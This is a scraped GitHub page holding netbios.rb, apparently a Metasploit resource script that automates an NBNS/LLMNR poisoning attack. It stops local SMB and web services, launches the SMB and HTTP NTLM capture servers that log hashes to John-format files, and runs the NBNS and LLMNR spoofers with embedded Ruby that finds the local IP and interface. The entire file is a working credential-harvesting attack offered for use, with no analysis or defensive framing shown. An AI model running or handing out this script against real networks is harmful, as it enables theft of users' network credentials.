-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathnetbios.rb
executable file
·71 lines (61 loc) · 1.34 KB
/
netbios.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<ruby>
system("service smbd stop")
</ruby>
use auxiliary/server/capture/smb
set JOHNPWFILE /root/t/smb
run
<ruby>
system("service apache2 stop")
</ruby>
use auxiliary/server/capture/http_ntlm
set JOHNPWFILE /root/t/http
set LOGFILE /root/t/http_log
set SRVPORT 80
<ruby>
require 'socket'
def local_ip
orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true
UDPSocket.open do |s|
s.connect '64.233.187.99', 1
s.addr.last
end
ensure
Socket.do_not_reverse_lookup = orig
end
self.run_single("set SRVHOST #{local_ip()}")
</ruby>
set URIPATH /
run
use auxiliary/spoof/nbns/nbns_response
<ruby>
require 'socket'
def local_ip
orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true
UDPSocket.open do |s|
s.connect '64.233.187.99', 1
s.addr.last
end
ensure
Socket.do_not_reverse_lookup = orig
end
ip = local_ip()
int = `ifconfig`
current = ""
int.each_line do |line|
if line =~ /^[a-zA-Z]/
current = /^([a-zA-Z0-9]*)\s*/.match(line)
else
if line =~ /#{ip}/
self.run_single("set INTERFACE #{current}")
break
end
end
end
self.run_single("set SPOOFIP #{ip}")
self.run_single("run")
sleep 3
self.run_single("use auxiliary/spoof/llmnr/llmnr_response")
self.run_single("set SPOOFIP #{ip}")
self.run_single("set INTERFACE #{current}")
</ruby>
run